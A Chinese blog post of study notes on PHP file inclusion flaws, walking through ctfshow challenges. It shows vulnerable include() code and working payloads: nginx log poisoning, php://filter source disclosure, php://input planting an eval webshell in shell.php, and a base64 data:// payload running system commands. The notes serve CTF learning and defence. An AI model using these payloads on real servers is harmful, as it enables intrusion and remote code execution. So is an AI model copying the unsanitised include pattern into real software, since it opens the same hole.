首页 > 其他分享 >文件包含漏洞笔记

文件包含漏洞笔记

时间:2022-08-23 23:03:13浏览次数:97  
标签:文件 php 包含 笔记 漏洞 file PHP

漏洞简介

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,则无须再次编写,这种调用文件的过程一般称为文件包含。如果包含的文件参数是可控的,那么就会导致文件包含漏洞的产生,文件包含可以分为本地文件包含和远程文件包含。

本地文件包含

能够访问并且包含本地文件的漏洞,被称为本地文件包含漏洞,本地文件包含漏洞含多种利用的方式,以下是比较常用的几种:向允许上传的文件种写入恶意代码并上传,利用文件上传漏洞包含目标文件、包含 PHP 上传的临时文件、在请求 URL 或者 UA 里面加入要执行的代码、恶意代码记录到日志后再包含 WebServer 的日志

漏洞实战

以下是来自 ctfshow 的一道文件包含题目,题目源代码如下:

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看到这道题目把 php、data 和 :给过滤替换了,也就是说不能使用 data:// 伪协议去绕过 php 了,但是通过指纹探测发现这是 nginx 的服务器,前面讲到了可以利用日志来 getshell,那么现在尝试去读取一下日志文件,payload 如下:

/?file=../../../../var/log/nginx/access.log

image

接下来利用 BurpSuite 来进行抓包,在 UA 处添加一句话木马或者直接执行命令的语句

image

再次读取 nginx 的日志文件发现执行了 ls 的命令

image

远程文件包含

如果要使用远程包含的功能,需要在 php.ini 配置文件中修改以下配置:

allow_url_fopen = On
allow_url_include = On

远程文件包含其实跟本地文件包含没有什么区别,两者无论是哪种扩展名,只要遵循 PHP 语法的规范,PHP 解析器就会对其进行解析,但是远程的 URL 资源可以被恶意用户所控制,所以远程文件包含漏洞的危害性比较大

PHP伪协议

PHP 带有很多内置 URL 风格的封装协议(伪协议),如果将这些伪协议和文件包含漏洞一起配合使用会有很大的利用效果

php://filter

我们可以使用 php://filter 伪协议来配合文件包含漏洞来读取网站的源代码,因为文件包含会解析符合 PHP 语法规范的语句文件(前面也有提及到),所以可以借助这一特征来用 filter 伪协议对目标网站的文件进行编码输出(具体是哪种编码要根据使用的语句去决定),解码就可以拿到目标网站文件的源代码

?file=php://filter/read=convert.base64-encode/resource=目标文件
?file=php://filter/convert.base64-encode/resource=目标文件
实战案例

以下是来自 ctfshow 的一道文件包含题目,题目源代码如下:

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看到这里存在包含的 include 的文件 $file 由 file 参数来控制,所以我们可以尝试使用 php://filter 来将 flag 文件读取出来,在这里采用了 base64 编码输出的形式,payload 如下:

?file=php://filter/read=convert.base64-encode/resource=flag.php

包含成功拿到了一串 Base64 编码后字符串

image

进行解码就可以得到含有 flag 的源代码信息

image

php://input

使用 php://input 可以获取到 POST 的数据流,如果满足远程文件包含条件,可以直接执行 PHP 语句,也就是发送过去 PHP 代码执行
如果发送的数据是写入一句话木马的 PHP 代码,那么就会在当前的目录下写入一个木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['melo'])?>');?>

此时的木马就已经被写入到了 index.php 的同级目录下

同理,也可以直接用命令来执行,发送数据内容如下:

<?php system('ls');?>

data://

data:// 类似于 php://input,也需要开启远程文件包含,如果和文件包含相结合,可以将原本的 include 的文件流重新定向到用户可控制的输入流中,简单来说就是执行文件的包含方法包含了输入流,导致可以执行任意 payload

?file=data://text/plain;<?php phpinfo();?>

实战案例:

以下是来自 ctfshow 的一道文件包含题目,题目源代码如下:

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看到对 php 进行了过滤替换,此时可以考虑用 data:// 伪协议,利用 base64 编码的方式将 php 进行绕过,payload 如下:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
解码后是:<?php system('cat flag.php');

执行之后在源代码处发现 Flag

image

标签:文件,php,包含,笔记,漏洞,file,PHP
From: https://www.cnblogs.com/meloanthony/p/16618157.html

相关文章

  • MAVEN学习笔记(二) IDEA中使用Maven
    IDEA中使用Maven在IDEA中配置MAVEN路径文件---->设置---->构建、执行、部署---->构建工具---->Maven找到主路径、用户设置文件、本地仓库并修改 继续在Maven下找到运......
  • 2022-08-23 第五小组 罗佳明 学习笔记
    一、学习重点二、学习内容例题一<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metahttp-equiv="X-UA-Compatible"conten......
  • 2022-08-23 第二小组 张鑫 学习笔记
    实训四十五天CSS进阶学习内容CSS三大特性1、层叠性一个标签可以有多个CSS样式浏览器处理冲突的能力,如果一个属性通过两个相同的选择器设置到元素上按照样式的声明......
  • ajax笔记
    一、什么是AjaxAJAX(AsynchronousJavascriptAndXML)翻译成中文就是“异步Javascript和XML”。即使用Javascript语言与服务器进行异步交互,传输的数据为XML(当然,传输的数......
  • Linux-shell笔记1
    一次执行很多命令,可以用;分割每个命令,依次运行所有命令。但是不是进程列表,要用()包围命令才是进程列表。它们有什么差别呢?进程列表是启动了一个子SHELL来执行的。用echo$BA......
  • 【笔记】oracle using
    oracleusing在oracle中,using用于简化连接查询,只有当查询是等值连接和连接中的列必须具有相同的名称与数据类型时,才能使用using关键字进行简化比如原来是selects.user_......
  • SpringMVC学习笔记
    SpringMVC1、SpringMVC简介1.1、什么是MVCMVC是一种软件架构的思想,将软件按照模型、视图、控制器来划分。M:Model,模型层,指工程中的JavaBean,作用是处理数据。JavaBean分......
  • ubantu16.04,docker-ce-17.09,docker runc容器逃逸漏洞(CVE-2021-30465)修复
    背景ubantu16.04TLSdocker-ce-17.09.1(比较老的版本可能都有这个漏洞,而且dockerversion查不到runc版本,也没有runc文件,只有docker-runc一个文件)解决方案下载对接系统......
  • 2022-08-23 第二组刘禹彤 学习笔记
    打卡38天  ###学习内容CSS(续)CSS三大特性层叠性一个标签可以有多个CSS样式浏览器处理冲突的能力,如果一个属性通过两个相同的选择器设置到元素上,样式的层叠规则......
  • MAVEN学习笔记(一)
    MAVEN:1.可以管理jar文件2.自动下载jar文件及其文档和源代码3.管理jar文件的直接依赖4.管理需要的jar版本5.编译程序6.测试代码7.打包文件,打包成jar或war文件8.部署......